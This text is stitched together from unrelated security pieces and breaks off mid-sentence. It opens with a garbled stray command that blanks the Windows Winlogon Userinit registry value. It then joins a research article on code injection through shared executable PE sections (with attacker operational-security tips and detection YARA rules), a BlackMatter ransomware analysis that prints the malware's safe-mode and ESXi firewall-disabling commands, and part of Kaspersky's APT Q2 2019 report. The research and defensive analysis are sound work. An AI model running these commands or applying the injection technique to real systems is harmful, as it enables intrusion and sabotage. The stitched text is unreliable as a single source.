SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon - Userinit /C REG - ADD"HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "" /f - cmd.exe
# Sharing is Caring: Abusing Shared Sections for Code Injection **Bill Demirkapi** **April 4, 2022** **Security Research** In this article, we will explore how to abuse certain quirks of PE Sections to place arbitrary shellcode into the memory of a remote process without requiring direct process access. Moving laterally across processes is a common technique seen in malware to spread across a system. In recent years, Microsoft has moved towards adding security telemetry to combat this threat through the "Microsoft-Windows-Threat-Intelligence" ETW provider. This increased telemetry alongside existing methods such as ObRegisterCallbacks has made it difficult to move laterally without exposing malicious operations to kernel-visible telemetry. ## Background Existing methods of moving laterally often involve dangerous API calls such as OpenProcess to gain a process handle accompanied by memory-related operations such as VirtualAlloc, VirtualProtect, or WriteProcessMemory. In recent years, the detection surface for these operations has increased. For example, on older versions of Windows, one of the only cross-process API calls that kernel drivers had documented visibility into was the creation of process and thread handles via ObRegisterCallbacks. The visibility introduced by Microsoft’s threat intelligence ETW provider has expanded to cover operations such as: 1. Read/Write virtual memory calls (EtwTiLogReadWriteVm). 2. Allocation of executable memory (EtwTiLogAllocExecVm). 3. Changing the protection of memory to executable (EtwTiLogProtectExecVm). 4. Mapping an executable section (EtwTiLogMapExecView). Other methods of entering the context of another process typically come with other detection vectors. For example, another method of moving laterally may involve disk-based attacks such as Proxy DLL Injection. The problem with these attacks is that they often require writing malicious code to disk, which is visible to kernel-based defensive solutions. Since these visible operations are required by known methods of cross-process movement, one must start looking beyond existing methods for staying ahead of telemetry available to defenders. ## Discovery Recently, I was investigating the extent to which you could corrupt a Portable Executable (PE) binary without impacting its usability. For example, could you corrupt a known malicious tool such as Mimikatz to an extent that wouldn't impact its operability but would break the image parsers built into anti-virus software? Similar to ELF executables in Linux, Windows PE images are made up of "sections". For example, code is typically stored in a section called `.text`, mutable data can be found in `.data`, and read-only data is generally in `.rdata`. How does the operating system know what sections contain code or should be writable? Each section has "characteristics" that define how they are allocated. There are over 35 documented characteristics for PE sections. The most common include `IMAGE_SCN_MEM_EXECUTE`, `IMAGE_SCN_MEM_READ`, and `IMAGE_SCN_MEM_WRITE`, which define if a section should be executable, readable, and/or writable. These only represent a small fraction of the possibilities for PE sections. When attempting to corrupt the PE section header, one specific flag caught my eye: "IMAGE_SCN_MEM_SHARED" characteristic. According to Microsoft's documentation, the `IMAGE_SCN_MEM_SHARED` flag means that "the section can be shared in memory". If this flag is enabled, that section's memory is shared across all processes that have the image loaded. For example, if process A and B load a PE image with a section that is "shared" (and writable), any changes in the memory of that section in process A will be reflected in process B. Some research relevant to the theory we will discuss in this article is "DLL shared sections: a ghost of the past" by Gynvael Coldwind. In his paper, Coldwind explored the potential vulnerabilities posed by binaries with PE sections that had the `IMAGE_SCN_MEM_SHARED` characteristic. Coldwind explained that the risk posed by these PE images "is an old and well-known security problem" with a reference to an article from Microsoft published in 2004 titled "Why shared sections are a security hole". The paper only focused on the threat posed by "Read/write shared sections" and "Read/only shared sections" without addressing a third option, "Read/write/execute shared sections". ## Exploiting Shared Sections Although the general risk of shared sections has been known by researchers and Microsoft for quite some time, there has not been significant investigation into the potential abuse of shared sections that are readable, writable, and executable (RWX-S). There is great offensive potential for RWX-S binaries because if you can cause a remote process to load an RWX-S binary of your choice, you now have an executable memory page in the remote process that can be modified without being visible to kernel-based defensive solutions. To inject code, an attacker could load an RWX-S binary into their process, edit the section with whatever malicious code they want in memory, load the RWX-S binary into the remote process, and the changes in their own process would be reflected in the victim process as well. The action of loading the RWX-S binary itself would still be visible to defensive solutions, but there are plenty of options for legitimate RWX-S binaries that are used outside of a malicious context. There are a few noteworthy comments about using this technique: 1. An attacker must be able to load an RWX-S binary into the remote process. This binary does not need to contain any malicious code other than a PE section that is RWX-S. 2. If the RWX-S binary is x86, LoadLibrary calls inside of an x64 process will fail. x86 binaries can still be manually mapped inside x64 processes by opening the file, creating a section with the attribute `SEC_IMAGE`, and mapping a view of the section. 3. RWX-S binaries are not shared across sessions. RWX-S binaries are shared by unprivileged and privileged processes in the same session. 4. Modifications to shared sections are not written to disk. For example, the buffer returned by both ReadFile and mapping the image with the attribute `SEC_COMMIT` do not contain any modifications on the shared section. Only when the binary is mapped as `SEC_IMAGE` will these changes be present. This also means that any modifications to the shared section will not break the authenticode signature on disk. 5. Unless the used RWX-S binary has its entrypoint inside of the shared executable section, an attacker must be able to cause execution at an arbitrary address in the remote process. This does not require direct process access. For example, SetWindowsHookEx could be used to execute an arbitrary pointer in a module without direct process access. In the next sections, we will cover practical implementations for this theory and the prevalence of RWX-S host binaries in the wild. ## Patching Entrypoint to Gain Execution In certain cases, the requirement for an attacker to be able to execute an arbitrary pointer in the remote process can be bypassed. If the RWX-S host binary has its entrypoint located inside of an RWX-S section, then an attacker does not need a special execution method. Instead, before loading the RWX-S host binary into the remote process, an attacker can patch the memory located at the image's entrypoint to represent any arbitrary shellcode to be executed. When the victim process loads the RWX-S host binary and attempts to execute the entrypoint, the attacker's shellcode will be executed instead. ## Finding RWX-S Binaries In-the-Wild One of the questions that this research attempts to address is "How widespread is the RWX-S threat?". For determining the prevalence of the technique, I used VirusTotal's Retrohunt functionality which allows users to "scan all the files sent to VirusTotal in the past 12 months with YARA rules". For detecting unsigned RWX-S binaries in-the-wild, a custom YARA rule was created that checks for an RWX-S section in the PE image: ```yara import "pe" rule RWX_S_Search { meta: description = "Detects RWX-S binaries." author = "Bill Demirkapi" condition: for any i in (0..pe.number_of_sections - 1): ( (pe.sections[i].characteristics & pe.SECTION_MEM_READ) and (pe.sections[i].characteristics & pe.SECTION_MEM_EXECUTE) and (pe.sections[i].characteristics & pe.SECTION_MEM_WRITE) and (pe.sections[i].characteristics & pe.SECTION_MEM_SHARED) ) } ``` When this rule was searched via Retrohunt, over 10,000 unsigned binaries were found (Retrohunt stops searching beyond 10,000 results). When this rule was searched again with a slight modification to check that the PE image is for the `MACHINE_AMD64` machine type, there were only 99 x64 RWX-S binaries. This suggests that RWX-S binaries for x64 machines have been relatively uncommon for the past 12 months and indicates that defensive solutions may be able to filter for RWX-S binaries without significant noise on protected machines. In order to detect signed RWX-S binaries, the YARA rule above was slightly modified to contain a check for authenticode signatures: ```yara import "pe" rule RWX_S_Signed_Search { meta: description = "Detects RWX-S signed binaries. This only verifies that the image contains a signature, not that it is valid." author = "Bill Demirkapi" condition: for any i in (0..pe.number_of_sections - 1): ( (pe.sections[i].characteristics & pe.SECTION_MEM_READ) and (pe.sections[i].characteristics & pe.SECTION_MEM_EXECUTE) and (pe.sections[i].characteristics & pe.SECTION_MEM_WRITE) and (pe.sections[i].characteristics & pe.SECTION_MEM_SHARED) ) and pe.number_of_signatures > 0 } ``` Unfortunately, with YARA rules, there is not an easy way to determine if a PE image contains an authenticode signature that has a valid certificate that has not expired or was signed with a valid timestamp during the certificate's life. This means that the YARA rule above will contain some false positives of binaries with invalid signatures. Since there were false positives, the rule above did not immediately provide a list of RWX-S binaries that have a valid authenticode signature. To extract signed binaries, a simple Python script was written that downloaded each sample below a detection threshold and verified the signature of each binary. After this processing, approximately 15 unique binaries with valid authenticode signatures were found. As seen with unsigned binaries, signed RWX-S binaries are not significantly common in-the-wild for the past 12 months. Additionally, only 5 of the 15 unique signed binaries are for x64 machines. It is important to note that while this number may seem low, signed binaries are only a convenience and are certainly not required in most situations. ## Abusing Unsigned RWX-S Binaries ### Patching Unsigned Binaries Given that mitigations such as User-Mode Code Integrity have not experienced widespread adoption, patching existing unsigned binaries still remains a viable method. To abuse RWX-S sections with unsigned binaries, an attacker could: 1. Find a legitimate host unsigned DLL to patch. 2. Read the unsigned DLL into memory and patch a section's characteristics to be readable, writable, executable, and shared. 3. Write this new patched RWX-S host binary somewhere on disk before using it. Here are a few suggestions for maintaining operational security: 1. It is recommended that an attacker does not patch an existing binary on disk. For example, if an attacker only modified the section characteristics of an existing binary and wrote this patch to the same path on disk, defensive solutions could detect that an RWX-S patch was applied to that existing file. Therefore, it is recommended that patched binaries be written to a different location on disk. 2. It is recommended that an attacker add other patches besides just RWX-S. This can be modifying other meaningless properties around the section's characteristics or modifying random parts of the code (it is important that these changes do not appear malicious). This is to make it harder to differentiate when an attacker has specifically applied an RWX-S patch on a binary. ### Using Existing Unsigned Binaries Creating a custom patched binary is not required. For example, using the YARA rule in the previous section, an attacker could use any of the existing unsigned RWX-S binaries that may be used in legitimate applications. ## Abusing Signed RWX-S Binaries in the Kernel Although there were only 15 signed RWX-S binaries discovered in the past 12 months, the fact that they have a valid authenticode signature can be useful during exploitation of processes that may require signed modules. One interesting signed RWX-S binary that the search revealed was a signed driver. When attempting to test if shared sections are replicated from user-mode to kernel-mode, it was revealed that the memory is not shared, even when the image is mapped and modified by a process in Session 0. ## Conclusion Although the rarity of shared sections presents a unique opportunity for defenders to obtain high-fidelity telemetry, RWX-S binaries still serve as a powerful method that break common assumptions regarding cross-process memory allocation and execution. The primary challenge for defenders around this technique is its prevalence in unsigned code. It may be relatively simple to detect RWX-S binaries, but how do you tell if it is used in a legitimate application?
# BlackMatter Ransomware Analysis Insikt Group reverse-engineered the Linux and Windows variants of BlackMatter ransomware and provided a high-level overview of the functionality in addition to IOCs, utilities, and detections. The intended audience of this research is threat intelligence professionals and those interested in a technical overview of the new ransomware variant. BlackMatter is a new ransomware-as-service (RaaS) affiliate program that was founded in July 2021. According to BlackMatter, “The project has incorporated in itself the best features of DarkSide, REvil, and LockBit”. ## Executive Summary Insikt Group analyzed Windows and Linux variants of BlackMatter ransomware, a new ransomware-as-a-service (RaaS) affiliate program founded in July 2021. During our technical analysis, we found that both variants accomplish similar goals of encrypting a victim’s files and appear to have been developed by a relatively sophisticated group. The Windows version employs several obfuscation and anti-reverse engineering techniques, suggesting that it was created by an experienced ransomware developer. BlackMatter’s Linux variant is another example of an emerging trend of malware targeting Linux-based systems, including ESXi and network-attached storage (NAS) devices. Recorded Future has provided reverse-engineering utilities, a YARA rule, and IOCs that organizations can use to hunt or detect the ransomware. ## Windows Ransomware Variant According to the threat actor’s advertisement, the Windows ransomware variant was successfully tested on Windows Server 2003 through 2021, Windows 7 and newer, and is available in executable form, Reflective DLL, and PowerShell. Insikt Group’s analysis focused primarily on the Windows executable version, which purports to be “version 1.2”. The ransomware is designed to make reverse engineering more challenging by obfuscating three values: imported function calls, strings used by the ransomware, and configuration information essential to the encryption process. Although the import obfuscation technique is somewhat simple, it makes it difficult for a reverse engineer to directly view which library functions are being called at what point. Instead of directly calling the exported function from the DLL, the ransomware calls code at an address that XORs two values together to compute the address of the call. Outside of these obfuscation techniques, the ransomware goes through the following steps during execution: - First, the malware sets up the function pointers in memory for each of the DLLs. During the process, it checks whether the memory allocated has been filled in with 0xABABABAB, an indication the HEAP_TAIL_CHECKING_ENABLED flag is set indicating a debugger is in use, which is likely being used as an anti-debug technique. - Then, it obtains the MachineGUID from the SOFTWARE\Microsoft\Cryptography registry key and Base64-encodes it. It uses this value as a unique identifier for the ransomware, prepending it to the README.txt ransom note filename. The MachineGUID value is also used to create a mutex, and the MD4 of this value is appended to Global\<MD4 value>. The ransomware decodes the configuration information using the string deobfuscation technique described above. In the configuration data, the malware stores a list of services and processes to stop and command and control domains. Identifying processes and services to stop is fairly typical of ransomware as these processes and services may make it easier for a defender to recover files or interfere with the encryption process. Next, based on the command line arguments provided to the ransomware, it will execute a different subset of functionality. By default, the ransomware has the following behavior: - Collect and send victim information to the C2, including the computer’s hostname, the username of the victim, and other information about the affected system. - Optionally stops any running processes or services, as described above. - Optionally encrypts logical drives and network shares attached to the victim system. - Encrypts the files on the local machine. - Sends back statistics on the encryption results, including execution time, start time, stop time, and the number of files encrypted to the C2. - If the system booted in normal mode, it changes the victim’s wallpaper and creates a ransom note. If the system booted in a failsafe mode, the malware will execute one of the following to turn off safe mode, based on the version of Windows: - bootcfg /raw /fastdetect /id 1 - bootcfg /raw /a /safeboot:network /id 1 - bcdedit /deletevalue {current} safeboot - bcdedit /set {current} safeboot network ## Linux Ransomware Variant Insikt Group analyzed the Linux variant of the BlackMatter ransomware, purporting to be version 1.6.0.2, according to a section in the binary named “.app.version”. The Linux version has several log messages, including those providing the name of the function in which they are present, and it contains several ESXi-targeted functions. This suggests that this may be an early version of the ransomware, with these messages to be removed in subsequent versions. Overall, the Linux version performs semantically similarly to the Windows variant: - Checks if another instance of itself is running by trying to get exclusive access to the file handle. If it cannot, another instance is currently running. - Creates a daemon to run in the background and detaches itself from the terminal instance used to run it, redirecting its standard input and standard output to /dev/null and changing its current working directory to the root directory (/). - Stops the firewall using the command: esxcli network firewall set --enabled false. The ransomware is also able to create a note called ReadMe.txt with the note contents. The ransomware starts the “web reporter”. The malware collects and exfiltrates information about the host machine such as the hostname, operating system, username, architecture, and disk information. Later, the ransomware will also report information about the encryption process, such as execution time, start time, how many files were encrypted, and bot version information. ## Mitigations Insikt Group has created a YARA rule to detect Linux and Windows variants of BlackMatter ransomware, which are in the appendix of this report. Organizations can use this rule for detection or hunting purposes. As the RaaS program grows, we will likely see more information regarding initial access methods, lateral movement, and discovery tools used by affiliates of the program. Until then, we recommend organizations employ defenses against common techniques associated with other sophisticated ransomware groups. ## Outlook We have seen a shift in calculus following recent high-profile ransomware attacks. The administrators of two major Russian-language forums, Exploit and XSS, quickly banned ransomware topics on their criminal underground platforms. DarkSide, REvil, and Avaddon ransomware families halted extortionist activities right before or days after the first meeting between President Biden and Putin. Ransomware operators reacted and created new ransomware brands with a strict set of rules following what was outlined during that meeting. Moreover, BlackMatter operators are ostensibly required to review and vet every compromised network before deploying ransomware to avoid unnecessary attention from the media and governments. The Linux ransomware variant of BlackMatter falls in line with an emerging trend of ransomware threat actors moving towards targeting ESXi systems in addition to the more traditional Windows. We expect that other threat actors will likely develop Linux variants of their ransomware in the future, and we may see new variants emerge targeting just these types of systems. BlackMatter is suspected to be a successor to DarkSide, and Insikt Group’s technical analysis of these tools relative to other ransomware variants such as those published by DarkSide is ongoing. ## Appendix — YARA Rule ```yara import "pe" rule MAL_BlackMatter_Windows { meta: author = "LKAYE, Insikt Group, Recorded Future" date = "2021-07-28" description = "Rule to detect BlackMatter ransomware Windows payload" version = "1.0" RF_MALWARE = "BlackMatter Ransomware" RF_MALWARE_ID = "jQYVGc" strings: $s1 = {81 30 ed 5f 06 22} //special XOR value for string obfuscation and import obf $s2 = {69 13 05 84 08 08 42} //part of decoding function IMUL and INC $s3 = {b9 46 f4 ad 89 81 f1 ed 5f 06 22} //check for 0xABABABAB, XORed vals $s4 = {b8 a8 58 0d 04 35 ed 5f 06 22} //xor vals for HeapCreate function call $s5 = {c7 00 c8 5f 75 22 c7 40 04 c3 5f 54 22 c7 40 08 a8 5f 47 22 c7 40 0c a9 5f 4b 22 c7 40 10 a8 5f 28 22 c7 40 14 99 5f 7e 22 c7 40 18 99 5f 06 22} //bytestring for README.txt condition: uint16(0) == 0x5a4d and filesize > 60KB and all of them } rule MAL_BlackMatter_Linux { meta: author = "LKAYE, Insikt Group, Recorded Future" date = "2021-07-28" description = "Rule to detect BlackMatter ransomware Linux payload" version = "1.0" RF_MALWARE = "BlackMatter Ransomware" strings: $s1 = "Another Instance Currently Running..." $s2 = "Removing Self Executable..." $s3 = "web_reporter::main_sender_proc()" $s4 = "NO stat available for " $s5 = "Please, just wait..." $s6 = ".cfgETD" condition: uint16(0) == 0x457F and filesize > 1900KB and all of them } ```
# APT Trends Report Q2 2019 For two years, the Global Research and Analysis Team (GReAT) at Kaspersky has been publishing quarterly summaries of advanced persistent threat (APT) activity. The summaries are based on our threat intelligence research and provide a representative snapshot of what we have published and discussed in greater detail in our private APT reports. They aim to highlight the significant events and findings that we feel people should be aware of. This is our latest installment, focusing on activities that we observed during Q2 2019. Readers who would like to learn more about our intelligence reports or request more information on a specific report are encouraged to contact ‘[email protected]’. ## The Most Remarkable Findings In April, we published our report on TajMahal, a previously unknown APT framework that has been active for the last five years. This is a highly sophisticated spyware framework that includes backdoors, loaders, orchestrators, C2 communicators, audio recorders, keyloggers, screen and webcam grabbers, documents, and cryptography key stealers; and even its own file indexer for the victim’s computer. We discovered up to 80 malicious modules stored in its encrypted Virtual File System – one of the highest numbers of plugins we have ever seen in an APT toolset. The malware features its own indexer, emergency C2s, the ability to steal specific files from external drives when they become available again, and much more. There are two different packages, self-named ‘Tokyo’ and ‘Yokohama’ and the targeted computers we found include both packages. We think the attackers used Tokyo as the first stage infection, deploying the fully functional Yokohama package on interesting victims, and then leaving Tokyo in place for backup purposes. So far, our telemetry has revealed just a single victim, a diplomatic body from a country in Central Asia. This begs the question, why go to all that trouble for just one victim? We think there may be other victims that we haven’t found yet. This theory is supported by the fact that we couldn’t see how one of the files in the VFS was used by the malware, opening the door to the possibility of additional versions of the malware that have yet to be detected. On May 14, FT reported that a zero-day vulnerability in WhatsApp had been exploited, allowing attackers to eavesdrop on users, read their encrypted chats, turn on the microphone and camera and install spyware that allows even further surveillance, such as browsing through a victim’s photos and videos, accessing their contact list and more. In order to exploit the vulnerability, the attacker simply needs to call the victim via WhatsApp. This specially crafted call can trigger a buffer overflow in WhatsApp, allowing an attacker to take control of the application and execute arbitrary code in it. Apparently, the attackers used this method to not only snoop on people’s chats and calls but also to exploit previously unknown vulnerabilities in the operating system, which allowed them to install applications on the device. The vulnerability affects WhatsApp for Android prior to 2.19.134, WhatsApp Business for Android prior to 2.19.44, WhatsApp for iOS prior to 2.19.51, WhatsApp Business for iOS prior to 2.19.51, WhatsApp for Windows Phone prior to 2.18.348 and WhatsApp for Tizen prior to 2.18.15. WhatsApp released patches for the vulnerability on May 13. Some have suggested that the spyware may be Pegasus, developed by Israeli company NSO. ## Russian-speaking Activity We continue to track the activities of Russian-speaking APT groups. These groups usually show a particular interest in political activities, but apart from a couple of interesting exceptions we failed to detect any remarkable examples during the last quarter. We did find a potential connection between Hades and a leak at the RANA institute. Hades is possibly connected to the Sofacy threat actor, most notable for being behind Olympic Destroyer, as well as ExPetr and several disinformation campaigns such as the Macron leaks. Earlier this year, a website named Hidden Reality published leaks allegedly related to an Iranian entity named the RANA institute. This was the third leak in two months that disclosed details of alleged Iranian threat actors and groups. Close analysis of the materials, the infrastructure and the dedicated website used by those behind the leak led us to believe that these leaks might be connected to Hades. This might be part of a disinformation campaign in which Hades helps to raise doubts about the quality of the information leaked in other cases from earlier this year. Zebrocy continued adding new tools to its arsenal using various kinds of programming languages. We found Zebrocy deploying a compiled Python script, which we call PythocyDbg, within a Southeast Asian foreign affairs organization: this module primarily provides for the stealthy collection of network proxy and communications debug capabilities. In early 2019, Zebrocy shifted its development efforts with the use of Nimrod/Nim, a programming language with syntax resembling both Pascal and Python that can be compiled down to JavaScript or C targets. Both the Nim downloaders that the group mainly uses for spear-phishing, and other Nim backdoor code, are currently being produced by Zebrocy and delivered alongside updated compiled AutoIT scripts, Go, and Delphi modules. The targets of this new Nimcy downloader and backdoor set includes diplomats, defense officials and ministry of foreign affairs staff, from whom they want to steal login credentials, keystrokes, communications, and various files. The group appears to have turned its attention towards the March events involving Pakistan and India, and unrelated diplomatic and military officials, while maintaining ongoing access to local and remote networks belonging to Central Asian governments. We also recently observed some interesting new artifacts that we relate to Turla with varying degrees of confidence. In April 2019, we observed a new COMpfun-related targeted campaign using new malware. The Kaspersky Attribution Engine shows strong code similarities between the new family and the old COMpfun. Moreover, the original COMpfun is used as a downloader in one of the spreading mechanisms. We called the newly identified modules Reductor after a .pdb path left in some samples. We believe the malware was developed by the same COMpfun authors that, internally, we tentatively associated with the Turla APT, based on victimology. Besides the typical RAT functions (upload, download, execute files), Reductor’s authors put a lot of effort into manipulating installed digital root certificates and marking outbound TLS traffic with unique host-related identifiers. The malware adds embedded root certificates to the target host and allows operators to add additional ones remotely through a named pipe. The solution used by Reductor’s developers to mark TLS traffic is the most ingenious part. The authors don’t touch the network packets at all; instead they analyze Firefox source and Chrome binary code to patch the corresponding system pseudo-random number generation (PRNG) functions in the process’s memory. Browsers use PRNG to generate the “client random” sequence during the very beginning of the TLS handshake. Reductor adds the victims’ unique encrypted hardware- and software-based identifiers to this “client random” field. Additionally, we identified a new backdoor that we attribute with medium confidence to Turla. The backdoor, named Tunnus, is .NET-based malware with the ability to run commands or perform file actions on an infected system and send the results to its C2. So far, the C2 infrastructure has been built using compromised sites with vulnerable WordPress installations. According to our telemetry, Tunnus’s activity started last March and was still active at the time of writing. ESET has also reported PowerShell scripts being used by Turla to provide direct, in-memory loading and execution of malware. This is not the first time this threat actor has used PowerShell in this way, but the group has improved these scripts and is now using them to load a wide range of custom malware from its traditional arsenal. The payloads delivered via the PowerShell scripts – the RPC backdoor and PowerStallion – are highly customized. Symantec has also been tracking targeted attacks in a series of campaigns against governments and international organizations across the globe over the past 18 months. The attacks have featured a rapidly evolving toolset and, in one notable instance, the apparent hijacking of infrastructure belonging to OilRig. They have uncovered evidence that the Waterbug APT group (aka Turla, Snake, Uroburos, Venomous Bear and KRYPTON) has conducted a hostile takeover of an attack platform belonging to OilRig (aka Crambus). Researchers at Symantec suspect that Turla used the hijacked network to attack a Middle Eastern government that OilRig had already penetrated. This is not the first time that we have seen this type of activity. Clearly, operations of this kind make the job of attribution more difficult. The international community continues to focus on the activity of Russian-speaking threat actors. Over the last 18 months, the UK has shared information on attacks attributed to Russian hackers with 16 NATO allies, including attacks on critical national infrastructure and attempts to compromise central government networks. In his former capacity as UK foreign secretary, Jeremy Hunt, recently urged nations to band together to create a deterrent for state-sponsored hackers. As part of this push, the UK and its intelligence partners have been slowly moving towards a ‘name and shame’ approach when dealing with cyberattacks. The use of the ‘court of public opinion’ in response to cyberattacks is a trend that we highlighted in our predictions for 2019. To help this new strategy the EU recently passed new laws that will make it possible for EU member states to impose economic sanctions against foreign hackers. Researchers at the Microstep Intelligence Bureau have published a report on targeted attacks on the Ukrainian government that they attribute to the Gamaredon threat actor. Recently, the group launched attacks on a number of state organizations in Ukraine using Pterodo, malware used exclusively by this group. Since February, the attackers have deployed a large number of dynamic domain names and newly registered domain names believed to be used to launch targeted attacks against elections in Ukraine. ## Chinese-speaking Activity We found an active campaign by a Chinese APT group we call SixLittleMonkeys that uses a new version of the Microcin Trojan and a RAT that we call HawkEye as a last stager. The campaign mainly targets government bodies in Central Asia. For persistence, the operators use .DLL search order hijacking. This consists of using a custom decryptor with a system library name (e.g., version.dll or api-ms-win-core-fibers-l1-1-1.dll) in directories, along with the legitimate applications that load these libraries into memory. Among other legitimate applications, the threat actor uses the Google updater, GoogleCrashHandler.exe, for .DLL hijacking. Custom encryptors protect the next stagers from detection on disk and from automated analysis, using the same encryption keys in different samples. For secure TLS communication with its C2, the malware uses the Secure Channel (Schannel) Windows security package. ESET discovered that the attackers behind the Plead malware have been distributing it using compromised routers and man-in-the-middle (MITM) attacks in April. Researchers have detected this activity in Taiwan, where the Plead malware has been most actively deployed. Trend Micro has previously reported the use of this malware in targeted attacks by the BlackTech group, primarily focused on cyber-espionage in Asia. ESET telemetry has revealed multiple attempts to deploy it. LuckyMouse activity detected by Palo Alto involved the attackers installing web shells on SharePoint servers to compromise government organizations in the Middle East, probably exploiting CVE-2019-0604, a remote code execution vulnerability used to compromise the server and eventually install a web shell. The actors uploaded a variety of tools that they used to perform additional activities on the compromised network, such as dumping credentials, as well as locating and pivoting to additional systems on the network. Of particular note is the group’s use of tools to identify systems vulnerable to CVE-2017-0144, the vulnerability exploited by EternalBlue and used in the 2017 WannaCry attacks. This activity appears to be related to campaigns exploiting CVE-2019-0604 mentioned in recent security alerts from the Saudi Arabian National Cyber Security Center and the Canadian Center for Cyber Security. Last year, a number of Chinese hackers allegedly linked to the Chinese government were indicted in the US. In May, the US Department of Justice indicted a Chinese national for a series of computer intrusions, including the 2015 data breach of health insurance company Anthem which affected more than 78 million people. ## Middle East The last three months have been very interesting for this region, especially considering the multiple leaks of alleged Iranian activity that were published within just a few weeks of each other. Even more interesting is the possibility that one of the leaks may have been part of a disinformation campaign carried out with the help of the Sofacy/Hades actor. In March, someone going by the handle Dookhtegan or Lab_dookhtegan started posting messages on Twitter using the hashtag #apt34. Several files were shared via Telegram that supposedly belonged to the OilRig threat actor. They included logins and passwords of several alleged hacking victims, tools, infrastructure details potentially related to different intrusions, the résumés of the alleged attackers and a list of web shells – apparently relating to the period 2014-18. The targeting and TTPs are consistent with this threat actor, but it was impossible to confirm the origins of the tools included in the dump. Assuming that the data in the dump is accurate, it also shows the global reach of the OilRig group, which has generally been thought to operate primarily in the Middle East. On April 22, an entity going by the alias Bl4ck_B0X created a Telegram channel named GreenLeakers. The purpose of the channel, as stated by its creator, was to publish information about the members of the MuddyWater APT group, “along with information about their mother and spouse and etc.”, for free. In addition to this free information, the Bl4ck_B0X actor(s) also hinted that “highly confidential” information related to MuddyWater would be put up for sale. On April 27, three screenshots were posted in the GreenLeakers Telegram channel, containing alleged screenshots from a MuddyWater C2 server. On May 1, the channel was closed to the public and its status changed to private. This was before Bl4ck_B0X had the chance to publish the promised information on the MuddyWater group. The reason for the closure is still unclear. Finally, a website named Hidden Reality published leaks allegedly related to an entity named the Iranian RANA institute. It was the third leak in two months disclosing details of alleged Iranian threat actors and groups. Interestingly, this leak differed from the others by employing a website that allows anyone to browse the leaked documents. It also relies on Telegram and Twitter profiles to post messages related to Iranian CNO capabilities. The Hidden Reality website contains internal documents, chat messages and other data related to the RANA institute’s CNO (Computer Network Operations) capabilities, as well as information about victims. Previous leaks were focused more on tools, source code and individual actor profiles. Close analysis of the materials, the infrastructure and the dedicated website used by the leakers, provided clues that led us to believe Sofacy/Hades may be connected to these leaks. There was also other Muddywater activity unrelated to the leak, as well as discoveries linked to previous activity by the group, such as ClearSky’s discovery of two domains hacked by MuddyWater at the end of 2018 to host the code of its POWERSTATS malware. In April, Cisco Talos published its analysis of the BlackWater campaign, related to MuddyWater activity. The campaign shows how the attackers added three distinct steps to their operations, allowing them to bypass certain security controls to evade detection: an obfuscated VBA script to establish persistence as a registry key, a PowerShell stager and FruityC2 agent script, and an open source framework on GitHub to further enumerate the host machine. This could allow the attackers to monitor web logs and determine whether someone outside the campaign has made a request to their server in an attempt to investigate the activity. Once the enumeration commands run, the agent communicates with a different C2 and sends back data in the URL field. Trend Micro also reported MuddyWater’s use of a new multi-stage PowerShell-based backdoor called POWERSTATS v3. We published a private report about four Android malware families and their use of false flag techniques, among other things. One of the campaigns sent spear-phishing emails to a university in Jordan and the Turkish government, using compromised legitimate accounts to trick victims into installing malware. Regarding other groups, we discovered new activity related to ZooPark, a cyber-espionage threat actor that has focused mainly on stealing data from Android devices. Our new findings include new malicious samples and additional infrastructure that has been deployed since 2016. This also led to us discovering Windows malware implants deployed by the same threat actor. The additional indicators we found shed some light on the targets of past campaigns, including Iranian Kurds – mainly political dissidents and activists. Recorded Future published an analysis of the infrastructure built by APT33 (aka Elfin) to target Saudi organizations. Following the exposure of a wide range of their infrastructure and operations by Symantec in March, researchers at Recorded Future discovered that APT33, or closely aligned actors, reacted by either parking or reassigning some of their domain infrastructure. The fact that this activity was executed just a day or so after the report went live suggests the Iranian threat actors are acutely aware of the media coverage of their activities and are resourceful enough to be able to react in a quick manner. Since then, the attackers have continued to use a large swath of operational infrastructure, well in excess of 1,200 domains, with many observed communicating with 19 different commodity RAT implants. An interesting development appears to be their increased preference for njRAT, with over half of the observed suspected APT33 infrastructure being linked to njRAT deployment. On a more political level, there were several news stories covering Iranian activity. A group connected to the Iranian Revolutionary Guard has been blamed for a wave of cyber-attacks against UK national infrastructure, including the Post Office, local government networks, private companies and banks. Personal data of thousands of employees were stolen. It is believed that the same group was also responsible for the attack on the UK parliamentary network in 2017. The UK NCSC (National Cyber Security Centre) is providing assistance to affected organizations. Microsoft recently obtained a court order in the US to seize control of 99 websites used by the Iranian hacking group APT35 (aka Phosphorus and Charming Kitten). The threat actor used spoofed websites, including those of Microsoft and Yahoo, to conduct cyberattacks against businesses, government agencies, journalists and activists who focus on Iran. The sinkholing of these sites will force the group to recreate part of its infrastructure. The US Cybersecurity and Infrastructure Security Agency (CISA) has reported an increase in cyberattacks by Iranian actors or proxies, targeting US industries and government agencies using destructive wiper tools. The statement was posted on Twitter by CISA director, Chris Krebs. ## Southeast Asia and Korean Peninsula This quarter we detected a lot of Korean-related activity. However, for the rest of the Southeast Asian region there has not been that much activity, especially when compared to earlier periods. Early in Q2, we identified an interesting Lazarus attack targeting a mobile gaming company in South Korea that we believe was aimed at stealing application source code. It’s clear that Lazarus keeps updating its tools very quickly. Meanwhile, BlueNoroff, the Lazarus sub-group that typically targets financial institutions, targeted a bank in Central Asia and a cryptocurrency business in China. In a recent campaign, we observed ScarCruft using a multi-stage binary to infect several victims and ultimately install a final payload known as ROKRAT – a cloud service-based backdoor. ScarCruft is a highly skilled APT group, historically using geo-political issues to target the Korean Peninsula. We found several victims worldwide identified as companies and individuals with ties to North Korea, as well as a diplomatic agency. Interestingly, we observed that ScarCruft continues to adopt publicly available exploit code in its tools. We also found an interesting overlap in a Russian-based victim targeted both by ScarCruft and DarkHotel – not the first time that we have seen such an overlap. ESET recently analyzed a new Mac OS sample from the OceanLotus group that had been uploaded to VirusTotal. This backdoor shares its features with a previous Mac OS variant, but the structure has changed and detection is now much harder. Researchers were unable to find the dropper associated with this sample, so they could not identify the initial compromise vector. The US Department of Homeland Security (DHS) has reported Trojan variants, identified as HOPLIGHT, being used by the North Korean government. The report includes an analysis of nine malicious executable files. Seven of them are proxy applications that mask traffic between the malware and the remote operators. The proxies have the ability to generate fake TLS handshake sessions using valid public SSL certificates, disguising network connections with remote malicious actors. One file contains a public SSL certificate and the payload of the file appears to be encoded with a password or key. The remaining file does not contain any of the public SSL certificates, but attempts outbound connections and drops four files: the dropped files primarily contain IP addresses and SSL certificates. In 